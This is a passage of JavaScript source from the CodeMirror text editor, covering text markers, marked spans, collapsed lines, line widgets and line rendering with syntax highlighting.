if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) {
var visual = visualLine(this.lines[i]), len = lineLength(visual);
if (len > cm.display.maxLineLength) {
cm.display.maxLine = visual;
cm.display.maxLineLength = len;
cm.display.maxLineChanged = true;
}
}
if (min != null && cm && this.collapsed) regChange(cm, min, max + 1);
this.lines.length = 0;
this.explicitlyCleared = true;
if (this.atomic && this.doc.cantEdit) {
this.doc.cantEdit = false;
if (cm) reCheckSelection(cm.doc);
}
if (cm) signalLater(cm, "markerCleared", cm, this);
if (withOp) endOperation(cm);
if (this.parent) this.parent.clear();
};
// Find the position of the marker in the document. Returns a {from,
// to} object by default. Side can be passed to get a specific side
// -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
// Pos objects returned contain a line object, rather than a line
// number (used to prevent looking up the same line twice).
TextMarker.prototype.find = function(side, lineObj) {
if (side == null && this.type == "bookmark") side = 1;
var from, to;
for (var i = 0; i < this.lines.length; ++i) {
var line = this.lines[i];
var span = getMarkedSpanFor(line.markedSpans, this);
if (span.from != null) {
from = Pos(lineObj ? line : lineNo(line), span.from);
if (side == -1) return from;
}
if (span.to != null) {
to = Pos(lineObj ? line : lineNo(line), span.to);
if (side == 1) return to;
}
}
return from && {from: from, to: to};
};
// Signals that the marker's widget changed, and surrounding layout
// should be recomputed.
TextMarker.prototype.changed = function() {
var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
if (!pos || !cm) return;
runInOp(cm, function() {
var line = pos.line, lineN = lineNo(pos.line);
var view = findViewForLine(cm, lineN);
if (view) {
clearLineMeasurementCacheFor(view);
cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
}
cm.curOp.updateMaxLine = true;
if (!lineIsHidden(widget.doc, line) && widget.height != null) {
var oldHeight = widget.height;
widget.height = null;
var dHeight = widgetHeight(widget) - oldHeight;
if (dHeight)
updateLineHeight(line, line.height + dHeight);
}
});
};
TextMarker.prototype.attachLine = function(line) {
if (!this.lines.length && this.doc.cm) {
var op = this.doc.cm.curOp;
if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)
(op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this);
}
this.lines.push(line);
};
TextMarker.prototype.detachLine = function(line) {
this.lines.splice(indexOf(this.lines, line), 1);
if (!this.lines.length && this.doc.cm) {
var op = this.doc.cm.curOp;
(op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
}
};
// Collapsed markers have unique ids, in order to be able to order
// them, which is needed for uniquely determining an outer marker
// when they overlap (they may nest, but not partially overlap).
var nextMarkerId = 0;
// Create a marker, wire it up to the right lines, and
function markText(doc, from, to, options, type) {
// Shared markers (across linked documents) are handled separately
// (markTextShared will call out to this again, once per
// document).
if (options && options.shared) return markTextShared(doc, from, to, options, type);
// Ensure we are in an operation.
if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type);
var marker = new TextMarker(doc, type), diff = cmp(from, to);
if (options) copyObj(options, marker, false);
// Don't connect empty markers unless clearWhenEmpty is false
if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)
return marker;
if (marker.replacedWith) {
// Showing up as a widget implies collapsed (widget replaces text)
marker.collapsed = true;
marker.widgetNode = elt("span", [marker.replacedWith], "CodeMirror-widget");
if (!options.handleMouseEvents) marker.widgetNode.ignoreEvents = true;
if (options.insertLeft) marker.widgetNode.insertLeft = true;
}
if (marker.collapsed) {
if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))
throw new Error("Inserting collapsed marker partially overlapping an existing one");
sawCollapsedSpans = true;
}
if (marker.addToHistory)
addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN);
var curLine = from.line, cm = doc.cm, updateMaxLine;
doc.iter(curLine, to.line + 1, function(line) {
if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
updateMaxLine = true;
if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0);
addMarkedSpan(line, new MarkedSpan(marker,
curLine == from.line ? from.ch : null,
curLine == to.line ? to.ch : null));
++curLine;
});
// lineIsHidden depends on the presence of the spans, so needs a second pass
if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) {
if (lineIsHidden(doc, line)) updateLineHeight(line, 0);
});
if (marker.clearOnEnter) on(marker, "beforeCursorEnter", function() { marker.clear(); });
if (marker.readOnly) {
sawReadOnlySpans = true;
if (doc.history.done.length || doc.history.undone.length)
doc.clearHistory();
}
if (marker.collapsed) {
marker.id = ++nextMarkerId;
marker.atomic = true;
}
if (cm) {
// Sync editor state
if (updateMaxLine) cm.curOp.updateMaxLine = true;
if (marker.collapsed)
regChange(cm, from.line, to.line + 1);
else if (marker.className || marker.title || marker.startStyle || marker.endStyle)
for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, "text");
if (marker.atomic) reCheckSelection(cm.doc);
signalLater(cm, "markerAdded", cm, marker);
}
return marker;
}
// SHARED TEXTMARKERS
// A shared marker spans multiple linked documents. It is
// implemented as a meta-marker-object controlling multiple normal
// markers.
var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) {
this.markers = markers;
this.primary = primary;
for (var i = 0; i < markers.length; ++i)
markers[i].parent = this;
};
eventMixin(SharedTextMarker);
SharedTextMarker.prototype.clear = function() {
if (this.explicitlyCleared) return;
this.explicitlyCleared = true;
for (var i = 0; i < this.markers.length; ++i)
this.markers[i].clear();
signalLater(this, "clear");
};
SharedTextMarker.prototype.find = function(side, lineObj) {
return this.primary.find(side, lineObj);
};
function markTextShared(doc, from, to, options, type) {
options = copyObj(options);
options.shared = false;
var markers = [markText(doc, from, to, options, type)], primary = markers[0];
var widget = options.widgetNode;
linkedDocs(doc, function(doc) {
if (widget) options.widgetNode = widget.cloneNode(true);
markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));
for (var i = 0; i < doc.linked.length; ++i)
if (doc.linked[i].isParent) return;
primary = lst(markers);
});
return new SharedTextMarker(markers, primary);
}
function findSharedMarkers(doc) {
return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())),
function(m) { return m.parent; });
}
function copySharedMarkers(doc, markers) {
for (var i = 0; i < markers.length; i++) {
var marker = markers[i], pos = marker.find();
var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
if (cmp(mFrom, mTo)) {
var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);
marker.markers.push(subMark);
subMark.parent = marker;
}
}
}
function detachSharedMarkers(markers) {
for (var i = 0; i < markers.length; i++) {
var marker = markers[i], linked = [marker.primary.doc];;
linkedDocs(marker.primary.doc, function(d) { linked.push(d); });
for (var j = 0; j < marker.markers.length; j++) {
var subMarker = marker.markers[j];
if (indexOf(linked, subMarker.doc) == -1) {
subMarker.parent = null;
marker.markers.splice(j--, 1);
}
}
}
}
// TEXTMARKER SPANS
function MarkedSpan(marker, from, to) {
this.marker = marker;
this.from = from; this.to = to;
}
// Search an array of spans for a span matching the given marker.
function getMarkedSpanFor(spans, marker) {
if (spans) for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if (span.marker == marker) return span;
}
}
// Remove a span from an array, returning undefined if no spans are
// left (we don't store arrays for lines without spans).
function removeMarkedSpan(spans, span) {
for (var r, i = 0; i < spans.length; ++i)
if (spans[i] != span) (r || (r = [])).push(spans[i]);
return r;
}
// Add a span to a line.
function addMarkedSpan(line, span) {
line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];
span.marker.attachLine(line);
}
// Used for the algorithm that adjusts markers for a change in the
// document. These functions cut an array of spans at a given
// character position, returning an array of remaining chunks (or
// undefined if nothing remains).
function markedSpansBefore(old, startCh, isInsert) {
if (old) for (var i = 0, nw; i < old.length; ++i) {
var span = old[i], marker = span.marker;
var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);
if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) {
var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);
(nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));
}
}
return nw;
}
function markedSpansAfter(old, endCh, isInsert) {
if (old) for (var i = 0, nw; i < old.length; ++i) {
var span = old[i], marker = span.marker;
var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);
if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) {
var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);
(nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,
span.to == null ? null : span.to - endCh));
}
}
return nw;
}
// Given a change object, compute the new set of marker spans that
// cover the line in which the change took place. Removes spans
// entirely within the change, reconnects spans belonging to the
// same marker that appear on both sides of the change, and cuts off
// spans partially within the change. Returns an array of span
// arrays with one element for each line in (after) the change.
function stretchSpansOverChange(doc, change) {
var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;
var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;
if (!oldFirst && !oldLast) return null;
var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;
// Get the spans that 'stick out' on both sides
var first = markedSpansBefore(oldFirst, startCh, isInsert);
var last = markedSpansAfter(oldLast, endCh, isInsert);
// Next, merge those two ends
var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);
if (first) {
// Fix up .to properties of first
for (var i = 0; i < first.length; ++i) {
var span = first[i];
if (span.to == null) {
var found = getMarkedSpanFor(last, span.marker);
if (!found) span.to = startCh;
else if (sameLine) span.to = found.to == null ? null : found.to + offset;
}
}
}
if (last) {
// Fix up .from in last (or move them into first in case of sameLine)
for (var i = 0; i < last.length; ++i) {
var span = last[i];
if (span.to != null) span.to += offset;
if (span.from == null) {
var found = getMarkedSpanFor(first, span.marker);
if (!found) {
span.from = offset;
if (sameLine) (first || (first = [])).push(span);
}
} else {
span.from += offset;
if (sameLine) (first || (first = [])).push(span);
}
}
}
// Make sure we didn't create any zero-length spans
if (first) first = clearEmptySpans(first);
if (last && last != first) last = clearEmptySpans(last);
var newMarkers = [first];
if (!sameLine) {
// Fill gap with whole-line-spans
var gap = change.text.length - 2, gapMarkers;
if (gap > 0 && first)
for (var i = 0; i < first.length; ++i)
if (first[i].to == null)
(gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null));
for (var i = 0; i < gap; ++i)
newMarkers.push(gapMarkers);
newMarkers.push(last);
}
return newMarkers;
}
// Remove spans that are empty and don't have a clearWhenEmpty
// option of false.
function clearEmptySpans(spans) {
for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)
spans.splice(i--, 1);
}
if (!spans.length) return null;
return spans;
}
// Used for un/re-doing changes from the history. Combines the
// result of computing the existing spans with the set of spans that
// existed in the history (so that deleting around a span and then
// undoing brings back the span).
function mergeOldSpans(doc, change) {
var old = getOldSpans(doc, change);
var stretched = stretchSpansOverChange(doc, change);
if (!old) return stretched;
if (!stretched) return old;
for (var i = 0; i < old.length; ++i) {
var oldCur = old[i], stretchCur = stretched[i];
if (oldCur && stretchCur) {
spans: for (var j = 0; j < stretchCur.length; ++j) {
var span = stretchCur[j];
for (var k = 0; k < oldCur.length; ++k)
if (oldCur[k].marker == span.marker) continue spans;
oldCur.push(span);
}
} else if (stretchCur) {
old[i] = stretchCur;
}
}
return old;
}
// Used to 'clip' out readOnly ranges when making a change.
function removeReadOnlyRanges(doc, from, to) {
var markers = null;
doc.iter(from.line, to.line + 1, function(line) {
if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {
var mark = line.markedSpans[i].marker;
if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))
(markers || (markers = [])).push(mark);
}
});
if (!markers) return null;
var parts = [{from: from, to: to}];
for (var i = 0; i < markers.length; ++i) {
var mk = markers[i], m = mk.find(0);
for (var j = 0; j < parts.length; ++j) {
var p = parts[j];
if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue;
var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);
if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
newParts.push({from: p.from, to: m.from});
if (dto > 0 || !mk.inclusiveRight && !dto)
newParts.push({from: m.to, to: p.to});
parts.splice.apply(parts, newParts);
j += newParts.length - 1;
}
}
return parts;
}
// Connect or disconnect spans from a line.
function detachMarkedSpans(line) {
var spans = line.markedSpans;
if (!spans) return;
for (var i = 0; i < spans.length; ++i)
spans[i].marker.detachLine(line);
line.markedSpans = null;
}
function attachMarkedSpans(line, spans) {
if (!spans) return;
for (var i = 0; i < spans.length; ++i)
spans[i].marker.attachLine(line);
line.markedSpans = spans;
}
// Helpers used when computing which overlapping collapsed span
// counts as the larger one.
function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; }
function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; }
// Returns a number indicating which of two overlapping collapsed
// spans is larger (and thus includes the other). Falls back to
// comparing ids when the spans cover exactly the same range.
function compareCollapsedMarkers(a, b) {
var lenDiff = a.lines.length - b.lines.length;
if (lenDiff != 0) return lenDiff;
var aPos = a.find(), bPos = b.find();
var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
if (fromCmp) return -fromCmp;
var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
if (toCmp) return toCmp;
return b.id - a.id;
}
// Find out whether a line ends or starts in a collapsed span. If
// so, return the marker for that span.
function collapsedSpanAtSide(line, start) {
var sps = sawCollapsedSpans && line.markedSpans, found;
if (sps) for (var sp, i = 0; i < sps.length; ++i) {
sp = sps[i];
if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&
(!found || compareCollapsedMarkers(found, sp.marker) < 0))
found = sp.marker;
}
return found;
}
function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); }
function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); }
// Test whether there exists a collapsed span that partially
// overlaps (covers the start or end, but not both) of a new span.
// Such overlap is not allowed.
function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
var line = getLine(doc, lineNo);
var sps = sawCollapsedSpans && line.markedSpans;
if (sps) for (var i = 0; i < sps.length; ++i) {
var sp = sps[i];
if (!sp.marker.collapsed) continue;
var found = sp.marker.find(0);
var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);
var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);
if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue;
if (fromCmp <= 0 && (cmp(found.to, from) > 0 || (sp.marker.inclusiveRight && marker.inclusiveLeft)) ||
fromCmp >= 0 && (cmp(found.from, to) < 0 || (sp.marker.inclusiveLeft && marker.inclusiveRight)))
return true;
}
}
// A visual line is a line as drawn on the screen. Folding, for
// example, can cause multiple logical lines to appear on the same
// visual line. This finds the start of the visual line that the
// given line is part of (usually that is the line itself).
function visualLine(line) {
var merged;
while (merged = collapsedSpanAtStart(line))
line = merged.find(-1, true).line;
return line;
}
// Returns an array of logical lines that continue the visual line
// started by the argument, or undefined if there are no such lines.
function visualLineContinued(line) {
var merged, lines;
while (merged = collapsedSpanAtEnd(line)) {
line = merged.find(1, true).line;
(lines || (lines = [])).push(line);
}
return lines;
}
// Get the line number of the start of the visual line that the
// given line number is part of.
function visualLineNo(doc, lineN) {
var line = getLine(doc, lineN), vis = visualLine(line);
if (line == vis) return lineN;
return lineNo(vis);
}
// Get the line number of the start of the next visual line after
// the given line.
function visualLineEndNo(doc, lineN) {
if (lineN > doc.lastLine()) return lineN;
var line = getLine(doc, lineN), merged;
if (!lineIsHidden(doc, line)) return lineN;
while (merged = collapsedSpanAtEnd(line))
line = merged.find(1, true).line;
return lineNo(line) + 1;
}
// Compute whether a line is hidden. Lines count as hidden when they
// are part of a visual line that starts with another line, or when
// they are entirely covered by collapsed, non-widget span.
function lineIsHidden(doc, line) {
var sps = sawCollapsedSpans && line.markedSpans;
if (sps) for (var sp, i = 0; i < sps.length; ++i) {
sp = sps[i];
if (!sp.marker.collapsed) continue;
if (sp.from == null) return true;
if (sp.marker.widgetNode) continue;
if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))
return true;
}
}
function lineIsHiddenInner(doc, line, span) {
if (span.to == null) {
var end = span.marker.find(1, true);
return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker));
}
if (span.marker.inclusiveRight && span.to == line.text.length)
return true;
for (var sp, i = 0; i < line.markedSpans.length; ++i) {
sp = line.markedSpans[i];
if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&
(sp.to == null || sp.to != span.from) &&
(sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&
lineIsHiddenInner(doc, line, sp)) return true;
}
}
// LINE WIDGETS
// Line widgets are block elements displayed above or below a line.
var LineWidget = CodeMirror.LineWidget = function(cm, node, options) {
if (options) for (var opt in options) if (options.hasOwnProperty(opt))
this[opt] = options[opt];
this.cm = cm;
this.node = node;
};
eventMixin(LineWidget);
function adjustScrollWhenAboveVisible(cm, line, diff) {
if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))
addToScrollPos(cm, null, diff);
}
LineWidget.prototype.clear = function() {
var cm = this.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);
if (no == null || !ws) return;
for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1);
if (!ws.length) line.widgets = null;
var height = widgetHeight(this);
runInOp(cm, function() {
adjustScrollWhenAboveVisible(cm, line, -height);
regLineChange(cm, no, "widget");
updateLineHeight(line, Math.max(0, line.height - height));
});
};
LineWidget.prototype.changed = function() {
var oldH = this.height, cm = this.cm, line = this.line;
this.height = null;
var diff = widgetHeight(this) - oldH;
if (!diff) return;
runInOp(cm, function() {
cm.curOp.forceUpdate = true;
adjustScrollWhenAboveVisible(cm, line, diff);
updateLineHeight(line, line.height + diff);
});
};
function widgetHeight(widget) {
if (widget.height != null) return widget.height;
if (!contains(document.body, widget.node)) {
var parentStyle = "position: relative;";
if (widget.coverGutter)
parentStyle += "margin-left: -" + widget.cm.getGutterElement().offsetWidth + "px;";
removeChildrenAndAdd(widget.cm.display.measure, elt("div", [widget.node], null, parentStyle));
}
return widget.height = widget.node.offsetHeight;
}
function addLineWidget(cm, handle, node, options) {
var widget = new LineWidget(cm, node, options);
if (widget.noHScroll) cm.display.alignWidgets = true;
changeLine(cm.doc, handle, "widget", function(line) {
var widgets = line.widgets || (line.widgets = []);
if (widget.insertAt == null) widgets.push(widget);
else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget);
widget.line = line;
if (!lineIsHidden(cm.doc, line)) {
var aboveVisible = heightAtLine(line) < cm.doc.scrollTop;
updateLineHeight(line, line.height + widgetHeight(widget));
if (aboveVisible) addToScrollPos(cm, null, widget.height);
cm.curOp.forceUpdate = true;
}
return true;
});
return widget;
}
// LINE DATA STRUCTURE
// Line objects. These hold state related to a line, including
// highlighting info (the styles array).
var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) {
this.text = text;
attachMarkedSpans(this, markedSpans);
this.height = estimateHeight ? estimateHeight(this) : 1;
};
eventMixin(Line);
Line.prototype.lineNo = function() { return lineNo(this); };
// Change the content (text, markers) of a line. Automatically
// invalidates cached information and tries to re-estimate the
// line's height.
function updateLine(line, text, markedSpans, estimateHeight) {
line.text = text;
if (line.stateAfter) line.stateAfter = null;
if (line.styles) line.styles = null;
if (line.order != null) line.order = null;
detachMarkedSpans(line);
attachMarkedSpans(line, markedSpans);
var estHeight = estimateHeight ? estimateHeight(line) : 1;
if (estHeight != line.height) updateLineHeight(line, estHeight);
}
// Detach a line from the document tree and its markers.
function cleanUpLine(line) {
line.parent = null;
detachMarkedSpans(line);
}
function extractLineClasses(type, output) {
if (type) for (;;) {
var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
if (!lineClass) break;
type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);
var prop = lineClass[1] ? "bgClass" : "textClass";
if (output[prop] == null)
output[prop] = lineClass[2];
else if (!(new RegExp("(?:^|\s)" + lineClass[2] + "(?:$|\s)")).test(output[prop]))
output[prop] += " " + lineClass[2];
}
return type;
}
function callBlankLine(mode, state) {
if (mode.blankLine) return mode.blankLine(state);
if (!mode.innerMode) return;
var inner = CodeMirror.innerMode(mode, state);
if (inner.mode.blankLine) return inner.mode.blankLine(inner.state);
}
function readToken(mode, stream, state) {
for (var i = 0; i < 10; i++) {
var style = mode.token(stream, state);
if (stream.pos > stream.start) return style;
}
throw new Error("Mode " + mode.name + " failed to advance stream.");
}
// Run the given mode's parser over a line, calling f for each token.
function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) {
var flattenSpans = mode.flattenSpans;
if (flattenSpans == null) flattenSpans = cm.options.flattenSpans;
var curStart = 0, curStyle = null;
var stream = new StringStream(text, cm.options.tabSize), style;
if (text == "") extractLineClasses(callBlankLine(mode, state), lineClasses);
while (!stream.eol()) {
if (stream.pos > cm.options.maxHighlightLength) {
flattenSpans = false;
if (forceToEnd) processLine(cm, text, state, stream.pos);
stream.pos = text.length;
style = null;
} else {
style = extractLineClasses(readToken(mode, stream, state), lineClasses);
}
if (cm.options.addModeClass) {
var mName = CodeMirror.innerMode(mode, state).mode.name;
if (mName) style = "m-" + (style ? mName + " " + style : mName);
}
if (!flattenSpans || curStyle != style) {
if (curStart < stream.start) f(stream.start, curStyle);
curStart = stream.start; curStyle = style;
}
stream.start = stream.pos;
}
while (curStart < stream.pos) {
// Webkit seems to refuse to render text nodes longer than 57444 characters
var pos = Math.min(stream.pos, curStart + 50000);
f(pos, curStyle);
curStart = pos;
}
}
// Compute a style array (an array starting with a mode generation
// -- for invalidation -- followed by pairs of end positions and
// style strings), which is used to highlight the tokens on the
// line.
function highlightLine(cm, line, state, forceToEnd) {
// A styles array always starts with a number identifying the
// mode/overlays that it is based on (for easy invalidation).
var st = [cm.state.modeGen], lineClasses = {};
// Compute the base array of styles
runMode(cm, line.text, cm.doc.mode, state, function(end, style) {
st.push(end, style);
}, lineClasses, forceToEnd);
// Run overlays, adjust style array.
for (var o = 0; o < cm.state.overlays.length; ++o) {
var overlay = cm.state.overlays[o], i = 1, at = 0;
runMode(cm, line.text, overlay.mode, true, function(end, style) {
var start = i;
// Ensure there's a token end at the current position, and that i points at it
while (at < end) {
var i_end = st[i];
if (i_end > end)
st.splice(i, 1, end, st[i+1], i_end);
i += 2;
at = Math.min(end, i_end);
}
if (!style) return;
if (overlay.opaque) {
st.splice(start, i - start, end, "cm-overlay " + style);
i = start + 2;
} else {
for (; start < i; start += 2) {
var cur = st[start+1];
st[start+1] = (cur ? cur + " " : "") + "cm-overlay " + style;
}
}
}, lineClasses);
}
return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null};
}
function getLineStyles(cm, line) {
if (!line.styles || line.styles[0] != cm.state.modeGen) {
var result = highlightLine(cm, line, line.stateAfter = getStateBefore(cm, lineNo(line)));
line.styles = result.styles;
if (result.classes) line.styleClasses = result.classes;
else if (line.styleClasses) line.styleClasses = null;
}
return line.styles;
}
// Lightweight form of highlight -- proceed over this line and
// update state, but don't save a style array. Used for lines that
// aren't currently visible.
function processLine(cm, text, state, startAt) {
var mode = cm.doc.mode;
var stream = new StringStream(text, cm.options.tabSize);
stream.start = stream.pos = startAt || 0;
if (text == "") callBlankLine(mode, state);
while (!stream.eol() && stream.pos <= cm.options.maxHighlightLength) {
readToken(mode, stream, state);
stream.start = stream.pos;
}
}
// Convert a style as returned by a mode (either null, or a string
// containing one or more styles) to a CSS style. This is cached,
// and also looks for line-wide styles.
var styleToClassCache = {}, styleToClassCacheWithMode = {};
function interpretTokenStyle(style, options) {
if (!style || /^\s*$/.test(style)) return null;
var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;
return cache[style] ||
(cache[style] = style.replace(/\S+/g, "cm-$&"));
}
// Render the DOM representation of the text of a line. Also builds
// up a 'line map', which points at the DOM nodes that represent
// specific stretches of text, and is used by the measuring code.
// The returned object contains the DOM node, this map, and
// information about line-wide styles that were set by the mode.
function buildLineContent(cm, lineView) {
// The padding-right forces the element to have a 'border', which
// is needed on Webkit to be able to get line-level bounding
// rectangles for it (in measureChar).
var content = elt("span", null, null, webkit ? "padding-right: .1px" : null);
var builder = {pre: elt("pre", [content]), content: content, col: 0, pos: 0, cm: cm};
lineView.measure = {};
// Iterate over the logical lines that make up this visual line.
for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {
var line = i ? lineView.rest[i - 1] : lineView.line, order;
builder.pos = 0;
builder.addToken = buildToken;
// Optionally wire in some hacks into the token-rendering
// algorithm, to deal with browser quirks.
if ((ie || webkit) && cm.getOption("lineWrapping"))
builder.addToken = buildTokenSplitSpaces(builder.addToken);
if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line)))
builder.addToken = buildTokenBadBidi(builder.addToken, order);
builder.map = [];
insertLineContent(line, builder, getLineStyles(cm, line));
if (line.styleClasses) {
if (line.styleClasses.bgClass)
builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || "");
if (line.styleClasses.textClass)
builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || "");
}
// Ensure at least a single node is present, for measuring.
if (builder.map.length == 0)
builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure)));
// Store the map and a cache object for the current logical line
if (i == 0) {
lineView.measure.map = builder.map;
lineView.measure.cache = {};
} else {
(lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map);
(lineView.measure.caches || (lineView.measure.caches = [])).push({});
}
}
signal(cm, "renderLine", cm, lineView.line, builder.pre);
if (builder.pre.className)
builder.textClass = joinClasses(builder.pre.className, builder.textClass || "");
return builder;
}
function defaultSpecialCharPlaceholder(ch) {
var token = elt("span", "\u2022", "cm-invalidchar");
token.title = "\\u" + ch.charCodeAt(0).toString(16);
return token;
}
// Build up the DOM representation for a single token, and add it to
// the line map. Takes care to render special characters separately.
function buildToken(builder, text, style, startStyle, endStyle, title) {
if (!text) return;
var special = builder.cm.options.specialChars, mustWrap = false;
if (!special.test(text)) {
builder.col += text.length;
var content = document.createTextNode(text);
builder.map.push(builder.pos, builder.pos + text.length, content);
if (ie && ie_version < 9) mustWrap = true;
builder.pos += text.length;
} else {
var content = document.createDocumentFragment(), pos = 0;
while (true) {
special.lastIndex = pos;
var m = special.exec(text);
var skipped = m ? m.index - pos : text.length - pos;
if (skipped) {
var txt = document.createTextNode(text.slice(pos, pos + skipped));
if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
else content.appendChild(txt);
builder.map.push(builder.pos, builder.pos + skipped, txt);
builder.col += skipped;
builder.pos += skipped;
}
if (!m) break;
pos += skipped + 1;
if (m[0] == "\t") {
var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;
var txt = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab"));
builder.col += tabWidth;
} else {
var txt = builder.cm.options.specialCharPlaceholder(m[0]);
if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
else content.appendChild(txt);
builder.col += 1;
}
builder.map.push(builder.pos, builder.pos + 1, txt);
builder.pos++;
}
}
if (style || startStyle || endStyle || mustWrap) {
var fullStyle = style || "";
if (startStyle) fullStyle += startStyle;
if (endStyle) fullStyle += endStyle;
var token = elt("span", [content], fullStyle);
if (title) token.title = title;
return builder.content.appendChild(token);
}
builder.content.appendChild(content);
}
function buildTokenSplitSpaces(inner) {
function split(old) {
var out = " ";
for (var i = 0; i < old.length - 2; ++i) out += i % 2 ? " " : "\u00a0";
out += " ";
return out;
}
return function(builder, text, style, startStyle, endStyle, title) {
inner(builder, text.replace(/ {3,}/g, split), style, startStyle, endStyle, title);
};
}
// Work around nonsense dimensions being reported for stretches of
// right-to-left text.
function buildTokenBadBidi(inner, order) {
return function(builder, text, style, startStyle, endStyle, title) {
style = style ? style + " cm-force-border" : "cm-force-border";
var start = builder.pos, end = start + text.length;
for (;;) {
// Find the part that overlaps with the start of this text
for (var i = 0; i < order.length; i++) {
var part = order[i];
if (part.to > start && part.from <= start) break;
}
if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title);
inner(builder, text.slice(0, part.to - start), style, startStyle, null, title);
startStyle = null;
text = text.slice(part.to - start);
start = part.to;
}
};
}
function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
var widget = !ignoreWidget && marker.widgetNode;
if (widget) {
builder.map.push(builder.pos, builder.pos + size, widget);
builder.content.appendChild(widget);
}
builder.pos += size;
}
// Outputs a number of spans to make up a line, taking highlighting
// and marked text into account.
function insertLineContent(line, builder, styles) {
var spans = line.markedSpans, allText = line.text, at = 0;
if (!spans) {
for (var i = 1; i < styles.length; i+=2)
builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options));
return;
}
var len = allText.length, pos = 0, i = 1, text = "", style;
var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;
for (;;) {
if (nextChange == pos) { // Update current marker set
spanStyle = spanEndStyle = spanStartStyle = title = "";
collapsed = null; nextChange = Infinity;
var foundBookmarks = [];
